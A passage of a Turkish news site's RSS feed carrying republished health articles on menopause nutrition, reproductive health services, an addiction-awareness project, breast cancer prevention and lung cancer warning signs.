173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 13:29:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/cocugum-cok-oksuruyor-astim-olabilir-mi-ArhQcupE.jpg"/>
            </item>
                                <item>
                <title>Menopozda hatalı beslenme kemik sağlığını olumsuz etkiliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/menopozda-hatali-beslenme-kemik-sagligini-olumsuz-etkiliyor-548342</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/menopozda-hatali-beslenme-kemik-sagligini-olumsuz-etkiliyor-548342</guid>
                <description><![CDATA[Menopozda ani kilo artışı ile birlikte, kadınların bu süreçte hızlı kilo kaybını hedefleyerek sağlığı olumsuz etkileme riski olan şok diyetleri ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>Menopozda ani kilo artışı ile birlikte, kadınların bu süreçte hızlı kilo kaybını hedefleyerek sağlığı olumsuz etkileme riski olan şok diyetleri uygulayabildiği görülüyor. Yapılan her bir yanlış diyet, kişinin diyet öncesi bulunduğu kilodan daha fazla kilo almasına sebep oluyor. Aynı zamanda, kemik sağlığının bozulması, osteoporoza eğilimin artması, bağışıklık sisteminin işlevinin azalmasına yol açıyor. Kadınlarda sigara tüketimi de erken menopoza girmeye, kemiklerden mineral kaybının artmasına ve birçok hastalığın gelişmesine yol açabiliyor.</span></strong></p>  <p><span>Menopoz, kadınlarda doğurganlık döneminin sonlandığı 48-55 yaş arası dönem olarak tanımlanıyor. Menopoz öncesi döneme ise premenopoz adı veriliyor.  45 yaşın altı genelde erken menopoz, 55 yaşın üstü geç menopoz olarak tanımlanıyor. Menopoz öncesi dönemde, kadınlarda yumurtlama düzensiz hale gelmeye başlıyor. Bunun nedeni ise, östrojen salgısının yetersizliği ya da foliküllerin yumurtlama uyarısına direnç göstermesi şeklinde ifade ediliyor.  </span></p>  <p><strong><span>Menopozda </span></strong><span>kemik yapısında ve ciltte oluşan değişiklikler,enerji harcanmasının düşmesi, kolajen miktarında azalma, vücut yağ miktarında artış, depresyon ve insülin direnci görülebiliyor.</span></p>  <p><strong><span>Sabri Ülker Vakfı</span></strong><span> menopoz döneminde ortaya çıkabilecek sorunlara ve bu dönemde kilo kontrolüne yönelik önerilerde bulunuyor.</span></p>  <p><strong><u><span>Menopozda neden kilo alınır?</span></u></strong></p> <p><span>Kadınlar için menopoz döneminin en önemli sorunlarından biri ani kilo alımı olabiliyor. Kilo sorunu olmayan kadınlarda bile, menopozla birlikte özellikle karın bölgesinde yağlanma görülebiliyor. Bunun sebebinin ise hormonal değişiklikler olduğu aktarılıyor. Hipofizden salgılanan hormonlarda artış olurken, düzenli adet görme ve üreme fonksiyonunu oluşturan sistemdeki bozukluklar nedeniyle yumurtalık fonksiyonu azalıyor. Böylece, kadın için önemli bir hormon olan östrojen hormon seviyesi düşüyor, gonadotropin hormonlarında artış gözleniyor. Fiziksel aktivitenin azalması ve hormon düzeylerindeki azalma menopoz döneminde kilo alımının başlıca nedenleri arasında geliyor. </span></p>  <p><strong><u><span>Menopoz döneminde beslenmede dikkat edilmesi gerekenler;</span></u></strong></p> <ul> <li>Doğru ve tamamen kişiye özel bir beslenme programı uygulanmalı. Kişide menopozla birlikte, insülin direnci ve tiroit gibi sağlık sorunlarının olup olmadığı sorgulanmalı. Ardından bir beslenme uzmanı tarafından hazırlanacak doğru bir tedavi programı izlenmeli. </li> <li>Her yaşta olduğu gibi yeterli kalsiyum tüketilmeli. Kalsiyum kaynağı süt ve süt ürünleri dışında özellikle yeşil yapraklı sebzeler, kuru baklagiller ve pekmez de beslenme programında yer almalı.</li> <li>Mineral içeriği yüksek sert suların içilmesi tercih edilmeli.</li> <li>D vitamini eksikliğini önlemek için günlük gereksinim düzeyinin karşılanması hedeflenmeli. D vitamini düzeyinin takibi yapılarak, gerekiyorsa takviye kullanımı doktor kontrolünde yapılmalı. Güneş ışınlarından uygun şekilde ve düzenli olarak yararlanılmalı. </li> <li>Yüksek proteinli diyet idrarla kalsiyum atımını arttırır ve osteoporozis için önemli bir risk faktörüdür. Bu nedenle aşırı protein tüketiminden kaçınılmalı. </li> <li>Aşırı tuz, idrarla kalsiyum atımını arttıracağından, yemeklere aşırı tuz eklenmemeli ve tuzlanmış besinlerin sık tüketiminden kaçınılmalı. </li> <li>Fitoöstrojen açısından zengin besinlerin tüketimine özen gösterilmeli. Kereviz, ıspanak, brüksel lahanası, keten tohumu, nohut fitoöstrojen kaynakları arasında yer alan besinlerdir.</li> </ul>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 13:28:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/menopozda-hatali-beslenme-kemik-sagligini-olumsuz-etkiliyor-AU8qC4rx.jpg"/>
            </item>
                                <item>
                <title>Cinsel sağlık ve üreme sağlığı hizmeti yetersiz</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/cinsel-saglik-ve-ureme-sagligi-hizmeti-yetersiz-548337</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/cinsel-saglik-ve-ureme-sagligi-hizmeti-yetersiz-548337</guid>
                <description><![CDATA[İstanbul, İzmir, Adana, Eskişehir, Gaziantep ve Trabzon’da CİSÜ Platformu tarafından gerçekleştirilen araştırmaya göre özellikle aile planlaması ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>İstanbul, İzmir, Adana, Eskişehir, Gaziantep ve Trabzon’da CİSÜ Platformu tarafından gerçekleştirilen araştırmaya göre özellikle aile planlaması ürün ve hizmetlerine erişim sorununa dikkat çekildi.</strong></span></span></p>  <p><span><span>Cinsel sağlık ve üreme sağlığı alanında çalışan ulusal veya yerel sivil toplum kuruluşları, akademik kurumlar, inisiyatifler, meslek örgütleri, akademisyenler ve aktivistlerin bir araya geldiği Cinsel Sağlık ve Üreme Sağlığı Hakları (CİSÜ) Platformu, IPSOS Araştırma işbirliğiyle yürüttüğü, 6 İl (Adana, Eskişehir, Gaziantep, İstanbul, İzmir, Trabzon) özelinde Cinsel Sağlık ve Üreme Sağlığı (CSÜS) Hizmetleri Araştırma Raporu’nun sonuçlarını açıkladı. Görüşmelerin gerçekleştirildiği şehirlerde özellikle aile planlaması ürünlerinin ve hizmetlerinin eksikliği en önemli sorun olarak öne çıktı. </span></span></p>  <p><span><span>CİSÜ Platformu’nu Güçlendirme Projesi kapsamında, yerel düzeyde savunuculuk faaliyetlerinin ilk adımı olarak Adana, Eskişehir, Gaziantep, İstanbul, İzmir, Trabzon’da CSÜS hizmetleriyle ilgili saha  araştırması yapıldı. Araştırmayla toplam 6 şehirde sağlık kurumu çalışanlarından elde edilen verilere dayanılarak, bu illerdeki CSÜS hizmetleri ve haklarının güncel durumunun ortaya konulması amaçlandı. Görüşülen sağlık çalışanları, genel olarak verilen danışmanlık hizmetlerini yetersiz buluyor. Araştırmada, zaman kısıtı, günlük başvuran kişi yoğunluğu, iki taraflı olarak konu üzerine açıkça konuşmaktaki çekince ve zorlanma, toplumun tabu algısı ve dezavantajlı gruplara yönelik ayrımcı tutumlar ve kontraseptif malzeme eksikliğine işaret edildi. Araştırma kapsamında gerçekleştirilen görüşmelerde özellikle kontraseptif malzeme eksikliğinin ciddi bir sorun haline geldiği görüldü. 6 il genelindeki sağlık çalışanları, kondom haricinde kontraseptif malzemelerin kurumlara çok seyrek ve az sayıda geldiğini, CSÜS konusunda kendilerine başvuranların ihtiyaçlarını karşılayacak seviyede aile planlamasına yönelik malzeme sağlanamadığını vurguladılar. </span></span></p>  <p><span><span><strong>Dezavantajlı gruplar CSÜS hizmetlerine ulaşamıyor</strong></span></span></p> <p><span><span>Araştırmada, CSÜS hizmetlerine erişimde en çok sıkıntı yaşayan gruplar arasında LGBTİ+ ve engelli bireylerin yer aldığı ve CSÜS hizmetlerinin kapsayıcılığının artırılması gerektiği belirtildi. Raporda özellikle halkın CSÜS hizmetleriyle ilgili bilgi eksikliği ve hizmet talebindeki çekincelerinin aşılabilmesi ve hizmete erişimin artırılması için şu çözüm önerileri dile getirildi: “Devletin, kamu spotları, iletişim materyalleri ile halkı bilgilendirmesi, 1. basamak sağlık kurumlarına başvurmaya teşvik etmesi ve bu konudaki olumsuz toplumsal algıları yıkması gerekiyor. CSÜS ile ilgilenen bir birim kurularak, sadece bu konu ile ilgilenen personellerin 1. basamak sağlık kurumlarında yer alması, ayrıca kurum içerisinde bu konu için özel bir alan ayrılmasıyla birlikte hem zaman kısıtı sorunu çözülecek hem de kişilerin kendilerini daha rahat hissetmesi sağlanabilecek. Dezavantajlı hale getirilmiş gruplar, özellikle engelliler, gençler ve LGBTİ+’lar için ihtiyaçlarına özgü danışmanlık sağlanarak, Sağlık Bakanlığı tarafından gençlere yönelik resmi bir platform oluşturulabilir. Tanı ve tetkik hizmetleri geliştirilebilir, çeşitlendirilebilir ve taramalar sıklaştırılabilir. Kurumlar arası koordinasyon yetersiz bulunurken, özellikle 1. basamak ile 2. basamak kurumlar arasındaki koordinasyonun daha sistemli ve devamlı hale getirilmesi ve kurumlar arası iletişimin güçlendirilmesi gerektiği sağlık çalışanlarının beklentileri arasında yer aldı.”</span></span></p>  <p><span><span><strong>Bilgilendirici posterler hazırlanmalı</strong></span></span></p> <p><span><span>Görüşülen sağlık çalışanları Sağlık Bakanlığı tarafından hazırlanmış, kaliteli, güvenilir, renkli basım, güncel, kısa, kolay anlaşılabilir, yönlendirici materyaller talep ediyorlar. Materyallerin bol görsel içermesi önemli bulunurken, üreme sistemi maketi gibi görsel materyallerin de 1. basamak sağlık kurumlarında yer alması talep ediliyor. Mevcut materyallerin içeriğini yetersiz bulan sağlık çalışanları, aile planlaması ve korunma yöntemlerinin, CYBE ve tedavi yöntemleriyle ilgili bilgilendirmelerin, güvenli cinselliğe dair detayların (cinsel haklar, istismar gibi), cinsiyet kimlikleri ve cinsel yönelimlerin, gebe izlem süreçlerine dair detayların da materyallerde yer almasını beklediklerini kaydettiler. </span></span></p>  <p><span><span>Halka verilen CSÜS ile ilgili seminer ve eğitimler eskiden daha sık yapılırken bunların sayısının gittikçe azaldığı belirtiliyor. Özellikle okullarda farklı yaş gruplarına göre özelleştirilmiş CSÜS’ün seminerler ve eğitimler yoluyla aktarılması bekleniyor. Öte yandan halk eğitim merkezleri, belediyeler, müftülük vb. kurumlar ile yapılacak işbirliklerinin de halkı bilgilendirmek ve bilinçlendirmek açısından önemli olduğu ifade ediliyor.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 13:14:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/cinsel-saglik-ve-ureme-sagligi-hizmeti-yetersiz-DpFBzgGX.jpg"/>
            </item>
                                <item>
                <title>Ege Üniversitesinin projesi, “madde bağımlılığı” ile mücadeleye katkı sunacak</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/ege-universitesinin-projesi-madde-bagimliligi-ile-mucadeleye-katki-sunacak-548299</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/ege-universitesinin-projesi-madde-bagimliligi-ile-mucadeleye-katki-sunacak-548299</guid>
                <description><![CDATA[“Sesimizi Duy, Yaşama Sarıl!” Ege Üniversitesi (EÜ) akademisyenleri toplumsal sağlığa katkı sunan projeleri hayata geçirmeye devam ediyor. Ege ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>“Sesimizi Duy, Yaşama Sarıl!”</span></span></p>  <p><span><span>Ege Üniversitesi (EÜ) akademisyenleri toplumsal sağlığa katkı sunan projeleri hayata geçirmeye devam ediyor. Ege Üniversitesi Medya Uygulama ve Araştırma Merkezi ile Ege Üniversitesi Madde Bağımlılığı Toksikoloji ve İlaç Bilimleri Enstitüsü’nün paydaşlığında yürütülen “Sesimizi Duy, Yaşama Sarıl!” sosyal sorumluluk projesi, çocuklarda, gençlerde ve yetişkinliklerde madde bağımlılığına karşı farkındalık oluşturmak; olası tehlikelere karşı önlem almak ve bağımlılıkla mücadele etmek için hayata geçirildi.</span></span></p>  <p><span><span>Ege Üniversitesi İletişim Fakültesi Dekanı ve Medya Uygulama ve Araştırma Merkezi Müdürü Prof. Dr. Bilgehan Gültekin’in yürütücülüğünü, İletişim Fakültesi Doktora Öğrencisi Hülya Arslaner Hamarat’ın koordinatörlüğünü yaptığı proje kapsamında madde bağımlılığı konusunda bilgilendirici iki farklı klip hazırlandı. Sunuculuğunu, Madde Bağımlılığı Toksikoloji ve İlaç Bilimleri Enstitüsü Öğretim Üyesi Doç. Dr. Umut Kırlı’nın üstlendiği proje kliplerinde, madde bağımlılığı, madde kullanım bozukluğu, madde kullanımında kimlerden destek alınacağı, mücadele yöntemleri, Madde Bağımlılığı Toksikoloji ve İlaç Bilimleri Enstitüsü’nün konuya ilişkin çalışmalarına yer verildi.</span></span></p>  <p><span><span>Projenin amacı hakkında bilgi veren Prof. Dr. Gültekin, “Ülkemizdeki her genç, her birey ayrı ayrı önem taşıyor. Hiç bir çocuk, genç ya da yetişkin madde bağımlılığı yüzünden zarar görsün istemiyoruz. Çocuklarımız ve gençlerimiz bu ülkenin yarınlarını teşkil ediyor. Ülkemizin sağlıklı bireylere ihtiyacı var. Son dönemde, medyada artış gösteren madde bağımlılığı haberlerine istinaden bu projeyi yapma ihtiyacı duyduk. Proje sayesinde madde bağımlılığı ile mücadelede farkındalık oluşturmayı amaçlıyoruz. Madde bağımlılığı ile mücadele edenlerin yanındayız. Bu konuda kimse kendini yalnız hissetmesin. Birlikten kuvvet doğacağına inanıyoruz” diye konuştu.</span></span></p>  <p><span><span>Madde bağımlılığı tedavisi alanında yapılan çalışmalarda psikologların, psikolojik danışmanların, sosyal hizmet uzmanlarının ve diğer tıp branşlarının tedavide büyük desteği olduğunu ifade eden Madde Bağımlılığı Toksikoloji ve İlaç Bilimleri Enstitüsü Öğretim Üyesi Doç. Dr. Kırlı, “Enstitümüz farklı disiplinlerden meydana gelmiş ve bağımlılıkla mücadele amacıyla kurulmuş Türkiye’nin ilk merkezidir. Merkezde psikiyatrist, psikolog, sosyolog, toksikolog, biyokimya uzmanı, fizyolog gibi birçok alandan uzman bulunuyor. Madde kullanımından korunma ve tedavi noktasında canla başla çalışarak, hastalara yardımcı olmaya gayret ediyoruz ve bu alanda yeni uzmanlar yetiştirmeye çalışıyoruz.” dedi.</span></span></p>  <p><span><span>“Sesimizi Duy, Yaşama Sarıl!” sosyal sorumluluk projesi kapsamında çekilen kliplerin yönetmenliğini Medya Uygulama ve Araştırma Merkezi personeli Erdi Başarık, kameramanlığını İletişim Fakültesi Yüksek Lisans öğrencisi Tolga Geç, kurgusunu ise İletişim Fakültesi lisans öğrencileri Nurşen Çakır, Duygu Er ve Yiğithan Akan yaptı.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 12:05:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/ege-universitesinin-projesi-madde-bagimliligi-ile-mucadeleye-katki-sunacak-C4RfQkfV.jpg"/>
            </item>
                                <item>
                <title>Sağlıklı yaşam meme kanseri riskini azaltıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/saglikli-yasam-meme-kanseri-riskini-azaltiyor-548298</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/saglikli-yasam-meme-kanseri-riskini-azaltiyor-548298</guid>
                <description><![CDATA[Meme kanseri, tüm kanser türleri içinde en sık görülen kanser türü. Dünyada her yıl 2 milyon 300 bin kadına meme kanseri tanısı konulduğunu ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>Meme kanseri, tüm kanser türleri içinde en sık görülen kanser türü. Dünyada her yıl 2 milyon 300 bin kadına meme kanseri tanısı konulduğunu söyleyen Anadolu Sağlık Merkezi Genel Cerrahi Uzmanı ve Meme Sağlığı Merkezi Direktörü Prof. Dr. Metin Çakmakçı, “Meme kanseri her 8 kadından 1’inde görülmekle birlikte bir kadının yaşamı boyunca meme kanserine yakalanma riski yaklaşık yüzde 13’tür. Meme kanseri riskini düşürmek için düzenli egzersiz yapmak, hazır ve işlenmiş gıdalar uzak durmak çok önemli. Ayrıca 40 yaşından sonra düzenli tarama yaptırmayı da ihmal etmemeli” şeklinde konuştu.</span></strong></p>  <p><span>Meme kanserinin yaklaşık yüzde 10’unun genetik nedenlerle ortaya çıktığını söyleyen Genel Cerrahi Uzmanı Prof. Dr. Metin Çakmakçı, “Meme kanserinde aile öyküsünün olması, kontrol yaşının belirlenmesinde oldukça önemli bir faktör. Ailesinde çok sayıda kanser tanısı olan kadınlar ve birinci derece akrabalarda ikiden fazla tanı alan bireyler risk grubu olarak kabul ediliyor. Kalıtsal meme kanserinde sadece anne, anneanne, teyze gibi anne tarafı değil, baba tarafındaki hala veya babaanneden aktarılan genler de aynı riski oluşturuyor. Özellikle birinci derece akrabalarında iki meme kanseri tanısı alan kadınların 25 yaşından sonra düzenli kontrollere gitmeleri öneriliyor” açıklamasında bulundu.</span></p>  <p><strong><span>40 yaşından sonra her yıl düzenli meme muayenesi yapılmalı</span></strong></p> <p><span>Meme kanserine yakalanma riski 40 yaşından sonra artıyor. Türkiye’deki meme kanserine yakalanması yaşının ortalama olarak 51 olduğunu belirten Genel Cerrahi Uzmanı Prof. Dr. Metin Çakmakçı, “Meme kanserinde erken tanı oldukça önemli. Erken tanı ile tedavideki başarı oranı yüzde 90’ı geçiyor. Dolasıyla erken tanının hayat kurtardığını söyleyebiliriz. Erken tanı için ise 40 yaşından sonra her yıl düzenli meme muayenesi, meme ultrasonografisi ve mamografi tetkikleri yaptırılmalı. Yüksek risk grubunda olan kadınların ise düzenli meme kontrollerine daha erken yaşta başlamaları gerekiyor” dedi.</span></p>  <p><strong><span>Her gün 30 dakika tempolu yürüyüş kanser riskini azaltıyor</span></strong></p> <p><span>Sağlıklı bir yaşam biçiminin meme kanseri riskini düşürdüğünü vurgulayan Genel Cerrahi Uzmanı Prof. Dr. Metin Çakmakçı, “Kanserden korunmak için sağlıklı beslenmek, düşük yağlı ve sebze, meyve, tahıl ağırlıklı beslenmek oldukça önemli. Bununla birlikte sigara, işlenmiş gıdalar ve fazla şeker tüketiminden kaçınmalı. Her gün 30 dakika tempolu yürüyüş meme kanseri riskini yüzde 33 oranında azaltıyor dolasıyla hareket etmek, egzersiz yapmak kanser riskini en aza indirmek için etkili” diye konuştu.</span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 12:04:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/saglikli-yasam-meme-kanseri-riskini-azaltiyor-fkfQhaxT.jpg"/>
            </item>
                                <item>
                <title>Akciğer Kanserinin 8 Önemli Sinyali</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/akciger-kanserinin-8-onemli-sinyali-548297</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/akciger-kanserinin-8-onemli-sinyali-548297</guid>
                <description><![CDATA[Akciğer kanseri dünyada kanser türleri arasında en sık görülen ve yine en sık ölüme neden olan kanser türü olarak ilk sırada yer alıyor. Öyle ki ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Akciğer kanseri dünyada kanser türleri arasında en sık görülen ve yine en sık ölüme neden olan kanser türü olarak ilk sırada yer alıyor. Öyle ki tüm kanser ölümlerinin yaklaşık 3’te birinden akciğer kanseri sorumlu oluyor. Dünyada her yıl yaklaşık 2,2 milyon kişi sigaranın en önemli risk faktörü olduğu akciğer kanserine yakalanıyor ve 1,6 milyon kişi de bu hastalık nedeniyle hayatını kaybediyor. Ülkemizde de akciğer kanseri oldukça yaygın görülüyor. 2020 yılında 40 binin üzerinde yeni akciğer tanısı konulduğu belirtiliyor. Akciğer kanseri, genellikle erken dönemlerinde fazla belirti vermemesi veya en tipik belirtisi olan öksürük geliştiğinde sigara içen kişilerin ‘sigara öksürtüyor’ düşüncesiyle hekime geç başvurmaları nedeniyle sıklıkla ileri evrede teşhis ediliyor. Tedavinin gecikmesi de hastanın hayatını kaybetmesine yol açıyor. <strong>Acıbadem Ataşehir Hastanesi Göğüs Cerrahisi Uzmanı Prof. Dr. Erdal Okur</strong>, oysa gerek cerrahi tedavide gerekse diğer tedavi yöntemlerinde yaşanan önemli gelişmeler sayesinde özellikle erken tanı konabilen ve cerrahi olarak tedavi edilebilen akciğer kanserinden tamamen kurtulmanın mümkün olabileceğini belirterek, “Hastalığın erken döneminde tanı konabilmesi için yüksek riskli olarak belirlenmiş, yoğun sigara içen veya geçmişte içmiş olan 50 yaş üzeri kişilere her yıl düşük radyasyon dozlu bilgisayarlı akciğer tomografi çekimi yapılması öneriliyor. Bu sayede henüz hiçbir belirti vermemiş erken evre akciğer kanserinin yakalanması mümkün olabiliyor” diyor. Peki hangi belirtiler akciğer kanserine işaret ediyor, ne zaman hekime başvurmak gerekiyor? <strong>Göğüs Cerrahisi Uzmanı Prof. Dr. Erdal Okur, “1-30 Kasım Dünya Akciğer Kanseri Farkındalık Ayı” </strong>kapsamında akciğer kanserinin belirtilerini anlattı; önemli uyarılarda bulundu! </span></span></p>  <p><span><span><strong>Öksürük</strong></span></span></p> <p><span><span>Akciğer kanserinin ilk belirtisi genellikle öksürük oluyor. Göğüs Cerrahisi Uzmanı Prof. Dr. Erdal Okur, öksürüğün tümörün havayolunu irrite etmesi veya tıkanıklıklar yapması sonucu geliştiğini belirterek, “Kronik sigara içenlerde özellikle sabahları, bir miktar balgamın eşlik ettiği, kronik öksürük yaşanabiliyor. Ancak önceden de var olan öksürükte artma veya öksürüğün karakterinde bir değişiklik hissedildiğinde hekime başvurmak yaşamsal önem taşıyor” diyor. </span></span></p>  <p><span><span><strong>Kanlı balgam</strong></span></span></p> <p><span><span>Kanlı balgam akciğer kanserinin en özgül bulgularından biridir. Akciğer kanserinde ağızdan gelen kanama; derinden öksürükle gelen ve genelde balgamla birlikte, balgam içinde bir damla veya çizgi şeklinde oluyor. “Balgamda kan görülmesi hemen hekime başvurma gerekliliğinin işaretidir” uyarısında bulunan Prof. Dr. Erdal Okur, “Bazen burun ve dişetlerinde de kanama olup ağızdan veya balgamla karışık gelebiliyor. Bu nedenle her ağızdan kan gelmesi mutlaka akciğer kanseri demek değildir. Ancak özellikle orta yaş ve üstü sigara içen kişilerin bu konuda şüpheci olmalarında yarar vardır” diyor. </span></span></p>  <p><span><span><strong>Nefes darlığı </strong></span></span></p> <p><span><span>Akciğer tümörünün havayolunu tıkaması veya akciğerlerde tümöre bağlı su toplanması nedeniyle nefes darlığı gelişebiliyor. Kronik sigara içenlerde, kronik obstrüktif akciğer hastalığı (KOAH) sık görülüyor ve bu hastalar nefes darlığı sorunu yaşayabiliyor. KOAH hastalarında akciğer kanseri de geliştiği zaman nefes kapasitelerinde bir miktar daha bozulma yaşanabiliyor. Kişi daha az efor sarf ettiğinde, örneğin merdiven çıkarken veya daha kısa mesafe yürüse bile hemen yorulduğunu hissediyor. Daha önce nefes darlığı yaşamayan kişilerde de fiziksel aktiviteyle nefes darlığı sorunu başlayabiliyor. Tüm bu bulgular hekime danışmayı gerektiren akciğer kanserinin sinyali olabiliyor.</span></span></p>  <p><span><span><strong>Sık akciğer enfeksiyonu geçirmek</strong></span></span></p> <p><span><span>Tümör akciğerde havayolunda tıkanıklık yapabiliyor ve bu tıkanıklığın arkasında kalan akciğer kısmında enfeksiyon gelişebiliyor. Antibiyotik ile tedavi edilip düzelse de akciğer enfeksiyonu bir süre sonra tekrarlıyor. Prof. Dr. Erdal Okur,“Dolayısıyla art arda akciğer enfeksiyonu geçiren kişi bu durumda akciğerlerinde havayolunu tıkayan bir sorun olabileceği ihtimalini düşünmeli ve mutlaka hekimine başvurmalıdır.” diyor. </span></span></p>  <p><span><span><strong>Ses kısıklığı</strong></span></span></p> <p><span><span>Ses tellerine giden sinirlerden özellikle sol tarafta olanı akciğerin yakınından geçiyor ve bu sinire akciğer tümörünün kendisi veya onun neden olduğu lenf bezi büyümesi bası yaptığı zaman hastanın sesinde tamamen veya kısmi kısılma başlayabiliyor. Ses kısıklığının başka nedenleri olsa da, özellikle akciğer kanseri için risk grubundaki kişilerin bu konuda dikkatli olmaları büyük önem taşıyor. </span></span></p>  <p><span><span><strong>Göğüs, omuz ve kol ağrısı</strong></span></span></p> <p><span><span>Göğüs bölgesinde ağrı akciğer tümörünün göğüs duvarına ulaşması durumunda görülüyor. Devamlı künt ve hiç kaybolmayan bir ağrı şeklinde gelişiyor. Göğüs Cerrahisi Uzmanı Prof. Dr. Erdal Okur,<strong> “</strong>Akciğerlerin en üst tepe kısımlarında gelişen tümörler ise omuz ve kol ağrısına yol açabiliyor. Dolayısıyla başka neden olmadan ve 1-2 hafta içinde düzelme göstermeyen göğüs bölgesindeki ağrı akciğer kanserinin habercisi olabiliyor.” uyarısında bulunuyor. </span></span></p>  <p><span><span><strong>Kilo kaybı, halsizlik</strong></span></span></p> <p><span><span>Çoğu kanser gibi akciğer kanserinde de vücutta yıkım artıyor, hastada kansızlık (anemi) gelişiyor. Hasta yavaş yavaş kilo kaybediyor ve kendini halsiz, bitkin hissedebiliyor. Bazen iştahı azalmamış olsa da ve iyi beslense de kilo kaybı devam edebiliyor. Dolayısıyla istemsiz ve diyet yapmadan oluşan kilo kaybı vücutta herhangi bir yerde gelişen kötü huylu tümörden kaynaklanabiliyor. </span></span></p>  <p><span><span><strong>Nadir görülen diğer belirtileri</strong></span></span></p> <p><span><span>Boyun bölgesinde beze büyümeleri, yutma zorluğu, kol ve bacaklarda devamlı geçmeyen ağrılar ve hırıltılı solunum gibi diğer belirtiler de aslında ileri evre akciğer kanserinden 